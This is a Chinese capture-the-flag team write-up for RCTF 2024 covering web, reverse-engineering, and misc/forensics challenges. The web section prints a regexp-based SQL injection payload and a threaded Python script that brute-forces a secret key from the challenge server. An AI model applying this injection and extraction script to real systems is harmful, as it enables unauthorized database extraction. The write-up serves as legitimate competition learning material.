UKFC2024 RCTF WP

WriteUp 5个月前 admin
128 0 0

UKFC2024 RCTF WP

本次比赛,UKFC位列18名。

Web

what_is_love

审计key1相关代码:

app.post("/key1", (req, res) => { const { key1 } = req.body; if (key1.length > 52 || !isSafe(key1)) { return res.send("love waf"); } let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`; db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`(err, results) => { if (err) { res.send("error"); } else if (results.length > 0) { res.send("success"); } else { res.send("wrong"); } }); });

存在SQL注⼊,考虑提前闭合WHERE字句中love_key=” 条件,并使⽤正则匹配依次爆出key1每⼀位:

即,传参:‘||love_key regexp ‘^RCTF{ , 爆破每⼀位

由于代码中限制key1⻓度⼩于52,只能爆出key1前⼏位:RCTF{THE_FIRST_STEP_IS_TO_GET_T

于是将正则匹配改为:.*GET_T继续爆破

得到key1:RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

exp:

 import requests import string import threading from queue import Queue payloads = "'||love_key regexp '{}" flags='^RCTF{' # flags='.*GET_T' all=string.digits+string.ascii_uppercase+"_-!%&" def step(payload,flag,i,queue): mess=payload.format(flag+i) # print(mess) req=requests.post('http://1.94.13.174:10088/key1',data={'key1':mess}) # print(req.text) if 'success' in req.text: flag+=i print(flag) queue.put(flag) queue = Queue() for i in range(1,50): t_list=[] for m in all: t=threading.Thread(target=step,args=(payloads,flags,m,queue)) t_list.append(t) t.start() for t in t_list: t.join() try: flags=queue.get(True,1) print(flags) while not queue.empty(): queue.get() except: print('error') exit(0) # '||love_key regexp 'RCTF{THE_FIRST_STEP_IS_TO_GET_T # '||love_key regexp '.*GET_TO_KNOW

审计key2相关代码:

 app.post("/key2", (req, res) => { let { username, love_time } = req.body; let userInfo = {}; userInfo.username = username; userInfo.love_time = Number(love_time); if (userInfo.love_time < 10000 || typeof userInfo.love_time !== "number") { res.send( "There was once a sincere love in front of me, I didn't cherish it, andI regretted it when I lost it, and the most painful thing in the world isnothing more than this. If God could give me a chance to start over, I wouldsay three words to that girl: I love you. If I had to put a deadline on thislove, I would say 10,000 years." ); } let have_lovers = false; if ( userInfo.username === my_lover.username && userInfo.love_time === my_lover.love_time ) { have_lovers = true; } let token = auth.createToken({ username: userInfo.username, love_time: userInfo.love_time, have_lovers: have_lovers, }); res.send(`give your a love token:${token}`); });
 app.post("/check", (req, res) => { let { love_token } = req.body; const [userinfo, err] = auth.decodeToken(love_token); if (err) { res.send("error"); return; } if (userinfo.have_lovers) { res.send(`your key2 is ${key2}`); } else { res.send("your have not lover"); } });

Re

2048

刚开始⼩逆了⼀下,发现这玩意初始⼀万分,⼀百万分就给flag,如果把把梭哈翻倍,也就是2^7就能出。

所以直接上⼿玩,没想到这也能⼀⾎(?)

bloker_vm

根据异常码来设置opcode 唬⼈的

UKFC2024 RCTF WP

然后⽆脑动调跟⼀下 ⼀次异或⼀次位移⼀次rc4,好像还进⾏了什么smc,其实没啥⽤。

刚开始调了⼀下发现对不上 其实是rc4密钥有问题,去掉最后⼀位就⾏了。

 #include <stdio.h> #include <stdint.h> #include <bits/stdc++.h> #include<stdio.h> /* RC4初始化函数 */ void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k) { int i = 0, j = 0; char k[256] = { 0 }; unsigned char tmp = 0; for (i = 0; i < 256; i++) { s[i] = i; k[i] = key[i % Len_k]; } for (i = 0; i < 256; i++) { j = (j + s[i] + k[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } /* RC4加解密函数 unsigned char* Data 加解密的数据 unsigned long Len_D 加解密数据的⻓度 unsigned char* key 密钥 unsigned long Len_k 密钥⻓度 */ void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key,unsigned long Len_k) //加解密 { unsigned char s[256]; rc4_init(s, key, Len_k); int i = 0, j = 0, t = 0; unsigned long k = 0; unsigned char tmp; for (k = 0; k < Len_D; k++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = (s[i] + s[j]) % 256; Data[k] = Data[k] ^ s[t]; } } int main() { //字符串密钥 unsigned char key[] = "thisisyoursecretke"; unsigned long key_len = sizeof(key) - 1; //数组密钥 //unsigned char key[] = {}; //unsigned long key_len = sizeof(key);
 unsigned char flag[]="RCTF"; for (int i=0;i<4;i++){ flag[i]^=0x7d; flag[i]=((flag[i] << 6) | (flag[i] >> 2) )& 0xff;
 } for (int i=0;i<4;i++) printf("0x%x,",flag[i]); rc4_crypt(flag, sizeof(flag), key, key_len); for (int i=0;i<4;i++) printf("0x%x,",flag[i]); //加解密数据 unsigned char data[] ={0x80,0x5,0xe3,0x2f,0x18,0x2f,0xc5,0x8c,0x25,0x70,0xbc, 0x5,0x1c,0x4f,0xf2,0x2,0xe5,0x3e,0x2 ,0x2f,0xe5,0x11,0xa3,0xc0, }; //for (int i=0;i<25;i++) printf("%x",data[i]); //加解密
 rc4_crypt(data, sizeof(data), key, key_len); for (int i=0;i<4;i++) printf("0x%x,",data[i]); for (int i=0;i<25;i++){
 data[i]=((data[i] >> 6) | (data[i] << 2) )& 0x3f; data[i]^=0x7d;
 }
 for (int i = 0; i < sizeof(data); i++) { printf("%c", data[i]); } printf("n"); return 0; }

⼿速快就是能拿⼀⾎啊哈哈

Misc

Logo: Signin

签到题,通过分析附件 python 代码,只要在代码框⾥输⼊ logo = <附件给出的⼀⼤串logo> 就过了。不过经验之谈没这么简单,通过本地调试你会发现换⾏出了问题,本质上输⼊的是执⾏代码,如果直

接换⾏肯定会出错,但是代码会以字符串的形式保存在变量中,如果输⼊转义字符 n 的话则会判断成

“n” ⽽不是回⻋,如果要绕过,需要在回⻋的位置⽤其他字符替换,并使⽤函数将字符换回换⾏字

符:(下⽂换⾏是为了能完整显⽰)

logo ="####################################################################################################a############################ ######################################################################a###### ########### ## ## ########### ##############a#### ## ######### ################ ###a#### ######## ################################## ############# ############ ##a############### ###### ########### ############## ###############################a### ############# ##### ######################## ############ ###################a### ################## ############# ############# ################################a### ############## ### ######################### ############## #################a### ################# ############### ############ ##############################a### ############## #### ############### ############################# #############a### ############# ################### ########### #################### ##########a############### ##### ############### ################################# #########a### #### #################### ########### ######################## #######a####### ######## ############# ##################################### ######a### ######### ###################### ############ ########################## ######a############# ######## ########### ####################################### ######a### ########### ################# ############# ############# ######### ######a############### ######### ###### ############ ################### #######a### ############## ########### ##################### #########a#### #########################################################################################a####################################################################################################" logo = logo.replace('a',chr(10))

UKFC2024 RCTF WP

s1ayth3sp1re

所给出附件为杀戮尖塔的游戏⽂件,题⾯为score>3000则可以得到flag

游玩⼀番发现此游戏⽂件较为完整,出题⼈所作的修改应为外挂⽅式,进⼊jadx反编译直接搜索关键

词“3000”,可发现其中⼀处与游戏⽂件格格不⼊,判断为flag⽣成点

UKFC2024 RCTF WP

进⼊主逻辑后发现其为简单异或,数组中未知值也可以直接找到,编写异或脚本即可得到flag

UKFC2024 RCTF WP

Logo: 2024

还是输出logo 但是要⼩于446字节

UKFC2024 RCTF WP

考虑到要压缩较多倍 于是选择了记录每⼀⾏切换#和空格的位置

除开第⼀⾏和最后⼀⾏,其余都记录下来

由于总共就100列,其中96列都有被记录过,刚好有95个ascii可⻅字符 稍加处理能把基本所有的变换

位置都存在⼀个字符串内

'9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{x7f!$/4:>ILZ^jn $15:>IMZ^jn$259=JMZ]jn $269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx$(39<JNY]uz $(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{ $03<AGJV]lquz#12=FRdmx!"ACqu'[idx] ⼤致共240个字节

那么剩下的200个字节就可以写解码和存放逻辑了 并且将不必要的缩进去除

脚本如下

 s=' ' c='#' logo='#'*100+'n' idx=0 t=0 while idx<228: i='9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{x7f!$/4:>ILZ^jn $15:>IMZ^jn$259=JMZ]jn $269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx$(39<JNY]uz $(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{ $03<AGJV]lquz#12=FRdmx!"ACqu'[idx] b=ord(i)-29 if t>b: logo=logo+c*(100-t)+'n' t=0 logo=logo+c*(b-t) if c=='#':c=' ' else:c='#' t=b idx=idx+1 logo=logo+12*'#'+'n'+'#'*100

UKFC2024 RCTF WP

445个字节不多不少 拿到flag

sec-image

UKFC2024 RCTF WP

⼀张图⽚⾥塞了4位flag,第⼀张图⽚很明显的RCTF,直接想怎么分离即可

像素只有⿊⽩两种,所以写脚本也不好处理,丢进gimp看有没有办法

可以发现特定的变换之下可以显⽰出单个字⺟,同⽅法处理每张图⽚即可

UKFC2024 RCTF WP

UKFC2024 RCTF WP

UKFC2024 RCTF WP

UKFC2024 RCTF WP

FindAHacker

附件是 Win7_x64 的 vmem 快照镜像,经典取证。使⽤ lovelymem 加载后挂载内存 pmem ⽂件,并使⽤ diskgenius 进⾏扫描,发现桌⾯上残留有 ida

加载⼆进制⽂件的痕迹:

UKFC2024 RCTF WP

遂⽴即提取 i64 ⽂件,发现 diskgenius 以及 vol2 均⽆法提取该⽂件,便使⽤最新最热的 vol3:

UKFC2024 RCTF WP

UKFC2024 RCTF WP

UKFC2024 RCTF WP

UKFC2024 RCTF WP

⼀眼顶针 异或⼀下就出了

gogogo

⼜是取证,是⼀个 raw 镜像⽂件:

和上⼀道题挂载看⼀看,发现什么都没有,直接使⽤ AXIOM ,lovelymem 开梭(这⾥以 lovelymem为例),看到了⼀些⼗分可疑的浏览记录,从中我们可以推理出⼀些机主的活动:

这⾥有⼀个个⼈主⻚,可能是机主的,我们可以通过该账号获取⼀些信息,这是因为出题⼈玩原神玩

UKFC2024 RCTF WP

还有机主藏在⽹盘⾥的⼩秘密:

UKFC2024 RCTF WP

我们来看看⽹盘的⼩秘密,很可惜,⽹址并不⾃带密码,我们需要找到密码,那么在密码在哪⾥呢?仔细想想,百度⽹盘真的会有⼈⼿输密码吗?⼀般都是复制吧,那么剪切板⾥肯定会有,直接 vol2 开梭:

UKFC2024 RCTF WP

梭出来了,下载,发现 pwd=?.zip 解压,发现解压不了,因为有密码,但是我们点开机主 b 站空间发现:

UKFC2024 RCTF WP

解压发现有下⾯的东西

UKFC2024 RCTF WP

解析流量包发现是键盘输⼊信号,对其提取如下:

[+] USB_Found : ['n', 'i', 'u', 'o', '<SPACE>', 'y', 'b', 'u', 'f', 'm', 'e','f', 'h', 'u', 'i', '<SPACE>', 'k', 'j', 'q', 'i', 'l', 'l', 'x', 'd', 'j','w', 'm', 'i', '<SPACE>', 'u', 'i', 'z', 'e', 'b', 'u', 'u', 'i', '<SPACE>','<RET>', 'd', 'v', 'o', 'o', '<SPACE>', '<RET>', 'u', 'd', 'p', 'n','<SPACE>', 'u', 'i', 'b', 'u', 'u', 'i', '<SPACE>', 'j', 'q', 'y', 'b', 'd','m', '<SPACE>', 'v', 'e', 'g', 'e', 'y', 'i', 's', 'i', '<SPACE>', '<RET>','v', 'e', 'm', 'e', 'u', 'o', 'l', 'l', '<SPACE>', 'j', 'x', 'y', 's', 'g','o', 'w', 'o', 'd', 'm', 'n', 'k', 'd', 'e', 'r', 'f', '<SPACE>', 'd', 'b','m', 'z', 'f', 'a', '<SPACE>', 'h', 'k', 'h', 'k', 'd', 'a', 'z', 'i','<SPACE>', '<RET>', 'z', 'v', 'j', 'n', 'y', 'b', 'u', 'f', 'm', 'e','<SPACE>', 'h', 'k', 'w', 'j', 'd', 'e', 'g', 'g', 'm', 'a', '<SPACE>','<RET>', 'n', 'a', '<SPACE>', 'm', 'i', 'm', 'a', 'j', 'q', 'u', 'e', 'v','i', 'i', 'g', '<SPACE>', '<RET>', 'k', 'y', 'l', 'l', 'd', 'a', '<SPACE>','d', 'o', 'q', 'i', 's', 'l', '<SPACE>', 'b', 'a', '<SPACE>', '<RET>', 'p','n', 'y', 'n', 'q', 'r', 'p', 'n', '<SPACE>', '<RET>', 'q', 'r', 'x', 'c','x', 'x', 'z', 'i', 'm', 'u', '<SPACE>', '<RET>'

整理⼀下就是:

niuo ybufmefhui kjqillxdjwmi uizebuuidvooudpn uibuui jqybdm vegeyisivemeuoll jxysgowodmnkderf dbmzfa hkhkdazizvjnybufme hkwjdeggmana mimajqueviigkyllda doqisl bapnynqrpnqrxcxxzimu

双拼⽤⼾直呼不对劲,并打了出来:

你说 有什么⽅式 看起来像加密 实则不是对哦 双拼 是不是 就有点 这个意思这么说来 最近有什么 好玩的梗吗那密码就设置成快来打夺旗赛吧拼⾳全拼 全⼩写字⺟

密码:kuailaidaduoqisaiba,密码内容,解压即出。

总结:作为XCTF的开头,本赛确实妙趣横生,也有很多整活的内容,我们乐在其中(大嘘

这下憧憬成为misc大佬咯~

欢迎进群讨论啦!

UKFC2024 RCTF WP





原文始发于微信公众号(UKFC安全):UKFC2024 RCTF WP

版权声明:admin 发表于 2024年5月29日 下午8:20。
转载请注明:UKFC2024 RCTF WP | CTF导航

相关文章